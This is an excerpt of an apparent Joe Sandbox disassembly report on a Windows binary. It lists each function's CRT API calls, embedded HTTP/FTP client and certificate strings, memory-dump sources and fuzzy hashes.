Part of subcall function 00007FF747D4B430: __stdio_common_vsscanf.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF747D4B474

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D74567
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D74731
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D74753

Part of subcall function 00007FF747D5F7F0: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D5F82E

Strings

%u.%u.%u.%u, xrefs: 00007FF747D74573
Can't resolve new host %s:%hu, xrefs: 00007FF747D7467E
Bad PASV/EPSV response: %03d, xrefs: 00007FF747D7477E
Can't resolve proxy host %s:%hu, xrefs: 00007FF747D74613
Weirdly formatted EPSV reply, xrefs: 00007FF747D7441F
%c%c%c%u%c, xrefs: 00007FF747D7437B
Skip %u.%u.%u.%u for data connection, re-use %s instead, xrefs: 00007FF747D7453B
%u,%u,%u,%u,%u,%u, xrefs: 00007FF747D7448B
Illegal port number in EPSV reply, xrefs: 00007FF747D743BF
Connecting to %s (%s) port %d, xrefs: 00007FF747D7470A
Couldn't interpret the 227-response, xrefs: 00007FF747D744AE

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _strdupfree$__stdio_common_vsscanfstrchr
String ID: %c%c%c%u%c$%u,%u,%u,%u,%u,%u$%u.%u.%u.%u$Bad PASV/EPSV response: %03d$Can't resolve new host %s:%hu$Can't resolve proxy host %s:%hu$Connecting to %s (%s) port %d$Couldn't interpret the 227-response$Illegal port number in EPSV reply$Skip %u.%u.%u.%u for data connection, re-use %s instead$Weirdly formatted EPSV reply
API String ID: 3103143820-2414412286
Opcode ID: 7b9e4824925e9b7f55e927efd2cd488aa311533b9d912ce27fe012692574f343
Instruction ID: ea268adc7f0732dbb44c598c86c672fb694216fb9390fd7c0d59dfc0f06e6935
Opcode Fuzzy Hash: 7b9e4824925e9b7f55e927efd2cd488aa311533b9d912ce27fe012692574f343
Instruction Fuzzy Hash: 73D1B622B2C682D2EA59BB24E4402BDE7A0FF85784F940232DB4D0BB55DF7CE152CB51

Function 00007FF747D73770 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 208stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF747D6C990: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00000000,?,00000000,00007FF747D53D1F), ref: 00007FF747D6C9BE

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D73846
strchr.VCRUNTIME140 ref: 00007FF747D73864
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D73894
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D738AF
strchr.VCRUNTIME140 ref: 00007FF747D738D9
strrchr.VCRUNTIME140 ref: 00007FF747D738F5
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7391F
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7393A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7395E
strncpy.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D73976
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D739B5
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D739F0
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D73A8C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D73AB1

Strings

Request has same path as previous transfer, xrefs: 00007FF747D73A96
Uploading to a URL without a file name!, xrefs: 00007FF747D739DC

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: calloc$free$strchrstrncpy$_strdupmallocstrncmpstrrchr
String ID: Request has same path as previous transfer$Uploading to a URL without a file name!
API String ID: 2243338858-131330169
Opcode ID: 2efa04c74230399bd258a16cad822e2e5ead02ff0f79d9f2166992b9371edbb0
Instruction ID: a7424e06fd50321511ebc877fdc82f3360815173e8cbdfe637d666fcbacacab7
Opcode Fuzzy Hash: 2efa04c74230399bd258a16cad822e2e5ead02ff0f79d9f2166992b9371edbb0
Instruction Fuzzy Hash: A091A122B2C7C2C2EB54BB2595443B9A7E0FB85B80F944235DA8E0B795DF3CE4568B11

Function 00007FF747D42620 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 134COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF747D42648
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D42650

Strings

SEC_E_ILLEGAL_MESSAGE (0x%08X) - This error usually occurs when a fatal SSL/TLS alert is received (e.g. handshake failed). More detail may be available in the Windows System event log., xrefs: 00007FF747D42B59
No error, xrefs: 00007FF747D42AA0
SEC_I_CONTINUE_NEEDED, xrefs: 00007FF747D42AAC
CRYPT_E_REVOKED, xrefs: 00007FF747D42A82
%s (0x%08X), xrefs: 00007FF747D426A5
%s - %s, xrefs: 00007FF747D42BA9
Unknown error, xrefs: 00007FF747D42B40

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLast_errno
String ID: %s (0x%08X)$%s - %s$CRYPT_E_REVOKED$No error$SEC_E_ILLEGAL_MESSAGE (0x%08X) - This error usually occurs when a fatal SSL/TLS alert is received (e.g. handshake failed). More detail may be available in the Windows System event log.$SEC_I_CONTINUE_NEEDED$Unknown error
API String ID: 3939687465-1752685260
Opcode ID: 2c2ecc4646857d6feea65fdae523bac12c2e5c780fb340e982890c109351eac7
Instruction ID: 837390382410996ea668d106a9bacd3cd2772a8e12b7fe05344ee49c9e97e79e
Opcode Fuzzy Hash: 2c2ecc4646857d6feea65fdae523bac12c2e5c780fb340e982890c109351eac7
Instruction Fuzzy Hash: 4D51A562A2C682C5E620BF20E6413BAB760BF49744FC04675DA8D02699CF3CF506CA20

Function 00007FF747D35480 Relevance: 26.6, APIs: 14, Strings: 1, Instructions: 364COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D355DE
__std_exception_destroy.VCRUNTIME140 ref: 00007FF747D3560C
__std_exception_destroy.VCRUNTIME140 ref: 00007FF747D3561A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D35654
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D356A5
memset.VCRUNTIME140 ref: 00007FF747D354D3

Part of subcall function 00007FF747D34320: memcpy.VCRUNTIME140(7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF747D31B59), ref: 00007FF747D34351

Part of subcall function 00007FF747D36320: memcpy.VCRUNTIME140 ref: 00007FF747D36496

Part of subcall function 00007FF747D31FC0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D32131

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D35812
__std_exception_destroy.VCRUNTIME140 ref: 00007FF747D3583E
__std_exception_destroy.VCRUNTIME140 ref: 00007FF747D3584C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D35887
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D358DA
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF747D359C1
?uncaught_exception@std@@YA_NXZ.MSVCP140 ref: 00007FF747D359D9
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF747D359E6

Strings

value, xrefs: 00007FF747D35546, 00007FF747D3577E

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_destroy$memcpy$?uncaught_exception@std@@D@std@@@std@@Osfx@?$basic_ostream@U?$char_traits@memset
String ID: value
API String ID: 2102519606-494360628
Opcode ID: 0ba03602f28abc066c3fcc0a8834273002c93528edaf180a920beb04a508591a
Instruction ID: 13e8e881f3b58243184b7548b662357ca8a8b3d46f8bd021f7de7e899d9d79a9
Opcode Fuzzy Hash: 0ba03602f28abc066c3fcc0a8834273002c93528edaf180a920beb04a508591a
Instruction Fuzzy Hash: E9F1B762A2C681C6EB10FB74E4443ADA760EB457A4F545331EAAD13AE9DF3CD186CB10

Function 00007FF747D62310 Relevance: 26.5, APIs: 6, Strings: 9, Instructions: 218stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140 ref: 00007FF747D623C8
strchr.VCRUNTIME140 ref: 00007FF747D623DF
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D6242B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D625F7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D62646
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6264F

Strings

%s, xrefs: 00007FF747D625DC
Connection:, xrefs: 00007FF747D62541
1.1, xrefs: 00007FF747D6232B
Cookie:, xrefs: 00007FF747D6259B
Content-Length:, xrefs: 00007FF747D6251B
Transfer-Encoding:, xrefs: 00007FF747D62568
Authorization:, xrefs: 00007FF747D62581
Content-Type:, xrefs: 00007FF747D624CF, 00007FF747D624F5
Host:, xrefs: 00007FF747D624A9

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$strchr$_strdup
String ID: %s$1.1$Authorization:$Connection:$Content-Length:$Content-Type:$Cookie:$Host:$Transfer-Encoding:
API String ID: 1922034842-2519073162
Opcode ID: 15ff60a6d3c237a336e91ef1e3c4139078ef5d79dd09f5cb9ca67aec89cc51db
Instruction ID: 42a5ca4fc57853f1a0cd443f84bb8b2dd4b902c6a8d0b6a0fc34f64c9067b831
Opcode Fuzzy Hash: 15ff60a6d3c237a336e91ef1e3c4139078ef5d79dd09f5cb9ca67aec89cc51db
Instruction Fuzzy Hash: DA918161A2DA93C1FB71FE119A103B9A790AF51B84FC98235CE4D47685EE2DF503CB20

Function 00007FF747D8D910 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 179COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,0000000100000000,?,00007FF747D8063F), ref: 00007FF747D8D93D
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,0000000100000000,?,00007FF747D8063F), ref: 00007FF747D8D95F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,0000000100000000,?,00007FF747D8063F), ref: 00007FF747D8D970
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,0000000100000000,?,00007FF747D8063F), ref: 00007FF747D8D99E

Strings

/.., xrefs: 00007FF747D8DAA2
/../, xrefs: 00007FF747D8DA6B
/./, xrefs: 00007FF747D8DA2C
../, xrefs: 00007FF747D8DA09

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$_strdupmalloc
String ID: ../$/..$/../$/./
API String ID: 111713529-456519384
Opcode ID: a08b28c9933b0941f2efcac164ecd33f5fb3166c4cd9c360851c52c316a69ecd
Instruction ID: a49ba7fb9c2ac534e01c6a17df9d9679d0a4db458591bcd6ec735d039c12e158
Opcode Fuzzy Hash: a08b28c9933b0941f2efcac164ecd33f5fb3166c4cd9c360851c52c316a69ecd
Instruction Fuzzy Hash: A1719A21E2C682D5FB217F119610279EF60AB1ABA4F954371CAAE077D4DE2CF453CB21

Function 00007FF747D88511 Relevance: 24.7, APIs: 6, Strings: 8, Instructions: 165COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D88542
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A09
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A49
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88A5C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88BBA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D88BF8

Strings

FALSE, xrefs: 00007FF747D8852D
%s, xrefs: 00007FF747D88BE6
Signature, xrefs: 00007FF747D889DF
TRUE, xrefs: 00007FF747D88534
-----BEGIN CERTIFICATE-----, xrefs: 00007FF747D88A9C
-----END CERTIFICATE-----, xrefs: 00007FF747D88B47
Cert, xrefs: 00007FF747D88BCE
Signature: %s, xrefs: 00007FF747D889F7

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$_strdupmalloc
String ID: Signature: %s$%s$-----BEGIN CERTIFICATE-----$-----END CERTIFICATE-----$Cert$FALSE$Signature$TRUE
API String ID: 111713529-3006446216
Opcode ID: 70e30d1e3deb7aee05ef397fcba1ec1dd57ac269af20da9b052408b51782595d
Instruction ID: 60bfa32b11a045afceb42187534f0a09fb30e1ac43d2ffcc677eae0f4316688a
Opcode Fuzzy Hash: 70e30d1e3deb7aee05ef397fcba1ec1dd57ac269af20da9b052408b51782595d
Instruction Fuzzy Hash: 2371FB92A2D7C1C5E711FB2594042B9FBA0EF467C8F994232CA5D17396DE2CE047CB21

Function 00007FF747D82580 Relevance: 24.2, APIs: 14, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D82642
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8267A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8268D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D826C1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D826CC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D82782
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8278B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D82796
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D82881
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8288A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D82895
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8290B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D82914
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D8291F

Part of subcall function 00007FF747D82D10: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D84BFA,?,?,00000000,00007FF747D81635), ref: 00007FF747D82D20
Part of subcall function 00007FF747D82D10: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D84BFA,?,?,00000000,00007FF747D81635), ref: 00007FF747D82D31
Part of subcall function 00007FF747D82D10: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF747D84BFA,?,?,00000000,00007FF747D81635), ref: 00007FF747D82D43

Strings

DIGEST-MD5 handshake failure (empty challenge message), xrefs: 00007FF747D8292C
WDigest, xrefs: 00007FF747D8262C, 00007FF747D82744

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$malloc
String ID: DIGEST-MD5 handshake failure (empty challenge message)$WDigest
API String ID: 2190258309-1086287758
Opcode ID: 3d979c6cc7bd14e6c2ad7290a7be4d6b36be52882975864e4d86410aa6b77bbe
Instruction ID: 70851a43de865610c9db437bd3e0ebe41596b4d79fc40ed451be23bc50524d11
Opcode Fuzzy Hash: 3d979c6cc7bd14e6c2ad7290a7be4d6b36be52882975864e4d86410aa6b77bbe
Instruction Fuzzy Hash: 82B14B72A1CB46C6EB10AF61E9402A9B7A4FB48B94F900235DE9D47B58DF3CE546CB10

Function 00007FF747D892D0 Relevance: 24.2, APIs: 1, Strings: 15, Instructions: 179COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D893E3

Strings

RSA Public Key (%lu bits), xrefs: 00007FF747D8939E
dh(g), xrefs: 00007FF747D89570
dsa(g), xrefs: 00007FF747D894DC
dhpublicnumber, xrefs: 00007FF747D89506
dsa(pub_key), xrefs: 00007FF747D894F2
dh(pub_key), xrefs: 00007FF747D89586
dsa, xrefs: 00007FF747D89445
dsa(p), xrefs: 00007FF747D8947D
dsa(q), xrefs: 00007FF747D894AC
rsaEncryption, xrefs: 00007FF747D89315
dh(p), xrefs: 00007FF747D8953F
rsa(e), xrefs: 00007FF747D8941B
%lu, xrefs: 00007FF747D893B8
rsa(n), xrefs: 00007FF747D893F0
RSA Public Key, xrefs: 00007FF747D893CF

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: RSA Public Key (%lu bits)$%lu$RSA Public Key$dh(g)$dh(p)$dh(pub_key)$dhpublicnumber$dsa$dsa(g)$dsa(p)$dsa(pub_key)$dsa(q)$rsa(e)$rsa(n)$rsaEncryption
API String ID: 1294909896-1220118048
Opcode ID: 9e8e4190fbbe9dbac736ea4e8f4861b9deb4eea0a2613b1050bd1a2de14b6a8a
Instruction ID: 0b6b8e6798cf6c10da077f7718d565685359d82d5baa89a82912f96e92bc0051
Opcode Fuzzy Hash: 9e8e4190fbbe9dbac736ea4e8f4861b9deb4eea0a2613b1050bd1a2de14b6a8a
Instruction Fuzzy Hash: C1716261A2C746D2EA24FB6195401F9A391FF89B84FC54232EE9D0778DEE3CD507CA60

Function 00007FF747D7F6AC Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 252COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F7FD
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D7F84E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F90A
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D7F918
tolower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D7F970
tolower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D7F97D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7F9FA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7FA0B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7FA71
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7FA7F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7FACE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D7FAE6

Strings

%%%02x, xrefs: 00007FF747D7F8B3

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$_strdupmalloctolower
String ID: %%%02x
API String ID: 1244608590-4020994737
Opcode ID: b00e4fd80b47b58873b5033442e7745e1c8edbf3f5bc81cfb43fb87cb640654b
Instruction ID: f3afddd65c6c907a6dcde5a86df726f6ebb42715f659e8982208f9eb72b58848
Opcode Fuzzy Hash: b00e4fd80b47b58873b5033442e7745e1c8edbf3f5bc81cfb43fb87cb640654b
Instruction Fuzzy Hash: 6DA1E55292C282C5FB79BB25951037DABE0AF45B84F894671DE8E0A3C5DE2CE407DB30

Function 00007FF747D691C0 Relevance: 22.7, APIs: 15, Instructions: 160COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,00000000,?,00007FF747D69476), ref: 00007FF747D691DB
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF747D691FB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D6921C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D69225

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374435309.00007FF747D92000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374511262.00007FF747DA9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3374575228.00007FF747DAF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff747d30000_EspPrivStoreAtt116.jbxd

Similarity

API ID: free$_strdupmalloc
String ID:
API String ID: 111713529-0
Opcode ID: ae1d98bfd8e04e6bfd092f3e447af08f8539a1ef12be664cab5b6475120f3e2f
Instruction ID: 6ab7decc0ada3bd00df1fd7f80caf0558b3773f24d8f5393698e3bed0c0c785a
Opcode Fuzzy Hash: ae1d98bfd8e04e6bfd092f3e447af08f8539a1ef12be664cab5b6475120f3e2f
Instruction Fuzzy Hash: 4A617E66A19B41C2EB25EF51A544229B3A0FB48B90B858635CF4D43798EF3CE496CB20

Function 00007FF747D722E0 Relevance: 21.3, APIs: 5, Strings: 9, Instructions: 279COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF747D72400

Strings

Failure sending ABOR command: %s, xrefs: 00007FF747D72521
Remembering we are in dir "%s", xrefs: 00007FF747D72498
Received only partial file: %I64d bytes, xrefs: 00007FF747D7270E
Uploaded unaligned file size (%I64d out of %I64d bytes), xrefs: 00007FF747D726D6
partial download completed, closing connection, xrefs: 00007FF747D72633
No data was received!, xrefs: 00007FF747D7273C
server did not report OK, got %d, xrefs: 00007FF747D7266E
ABOR, xrefs: 00007FF747D724FB
control connection looks dead, xrefs: 00007FF747D725F2

Memory Dump Source

Source File: 00000000.00000002.3374380186.00007FF747D31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF747D30000, based on PE: true

Associated: 00000000.00000002.3374304324.00007FF747D30000.00000002.00000001.01000000.00000003.sdmpDownload File
